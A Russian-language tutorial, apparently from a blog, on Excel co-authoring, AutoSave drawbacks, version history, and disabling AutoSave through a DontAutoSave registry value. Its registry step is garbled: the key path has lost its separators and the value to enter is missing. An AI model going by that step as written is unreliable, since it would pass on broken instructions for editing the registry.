Можно выбрать нужных людей прямо из адресной книги или создать короткую прямую ссылку на документ, нажав на соответствующую команду в правом нижнем углу:
Возможен на выбор режим и полного редактирования и только чтения. Полученную ссылку можно тут же скопировать в буфер и отправить коллегам для совместной работы:
По полученной ссылке другие пользователи смогут войти в общий документ и редактировать его одновременно с вами. Вы в реальном времени (задержка 1-2 секунды по ощущениям) сможете видеть кто и в каком месте листа сейчас работает — активные ячейки других пользователей наглядно помечаются цветом и всплывающими подсказками:
Всех участников редактирования также можно увидеть на иконках в правом верхнем углу окна:
И что совсем хорошо — никаких особых ограничений на применение инструментов Excel теперь в этом режиме совместного редактирования нет. Можете смело строить сводные таблицы, диаграммы, фильтровать или сортировать ваши данные и т.д. Единственное условие — файл должен быть в новом формате (xlsx, xlsm, xlsb, а не старый xls) и в книге не должно быть включенной защиты листов или ячеек.
В общем, реализовано все на порядок лучше, чем было в старых версиях.
Автосохранение: плюсы и минусы
Платой за быстроту обновления картинки на экране при совместной работе стало Автосохранение. Эта функция, будучи включенной, автоматически сохраняет ваш текущий файл после каждого действия, отправляя остальным участникам внесенные вами изменения.
С одной стороны, это хорошо, ибо «на лету» синхронизирует все коллективные правки и отображает действия других пользователей в общей книге почти в реальном времени. Также эта функция позволяет легко откатиться к прошлым версиям книги, т.к. они автоматически сохраняются. С помощью команды Просмотреть все версии в строке заголовка:
… можно отобразить панель со всеми доступными предыдущими версиями файла и открыть любую из них:
С другой стороны, минусы у Автосохранения тоже есть:
- Далеко не всегда нужно сохранять изменения, которые вы вносите в книгу. Представьте себе, например, что вы открыли файл, чтобы проверить какую-то идею или вероятный сценарий. Внесли изменения, посмотрели на пересчитанный результат и потом просто хотите закрыть файл без сохранения, оставив его в исходном состоянии — с включенным Автосохранением такое уже невозможно. В такой ситуации теперь нужно сразу после открытия файла не забыть отключить Автосохранение, иначе все внесенные «на пробу» изменения останутся в документе навсегда.
- Автосохранение всегда по-умолчанию включено для всех файлов в облачных хранилищах и его статус («вкл» или «выкл») запоминается внутри каждого файла. Если оно мешает, то его придется отключать для каждого файла отдельно. Глобального переключателя, включающего или выключающего Автосохранение сразу для всего Excel нет (точнее, придется лезть в реестр Windows, что не каждому под силу)
- Из вкладки Файл пропали команды Сохранить и Сохранить как — теперь их заменяет Сохранить копию (Save a Copy):
Вот это совсем жестко и, подозреваю, напугает многих пользователей с непривычки. Предупреждать надо!
Как отключить Автосохранение в Excel
Если вы не работаете в команде и новый режим совместного редактирования вам совершенно точно не нужен, а Автосохранение, наоборот, сильно мешает, то отключить его можно только путем редактирования реестра Windows.
Предупреждение: реестр — это, своего рода, база данных со всеми внутренними настройками Windows и установленных программ. Редактирование реестра — это как нейрохирургия: разрезал на сантиметр правее, чем нужно — и человек вместо выздоровления оглох (Excel перестал запускаться и т.п.). Если вы никогда раньше не редактировали реестр, то лучше обратитесь к знакомым айтишникам. Кроме того, большинству корпоративных пользователей таких прав не дают по определению, поэтому придется обращаться к системным администраторам.
Если, все же, решились сделать все сами, то жмем на клавиатуре одновременно клавиши Win (с флагом) и R, в открывшееся окно пишем regedit и жмем ОК:
Затем на дереве в левой панели находим нужную ветку (папку) реестра:
HKEY_CURRENT_USERSOFTWAREMicrosoftOffice16.0Excel
Теперь щелкаем правой кнопкой мыши в правую панель окна и выбираем Создать (New) — Параметр типа DWORD:
Затем вводим имя параметра DontAutoSave и, открыв его двойным щелчком, его значение — :
Все, можно выдохнуть, закрыть редактор реестра и, для надежности, перезагрузиться. Автосохранение должно отключиться для всего Excel.
Ссылки по теме
- Создание резервных копий ценных файлов
- Статья про Автосохранение на сайте MSDN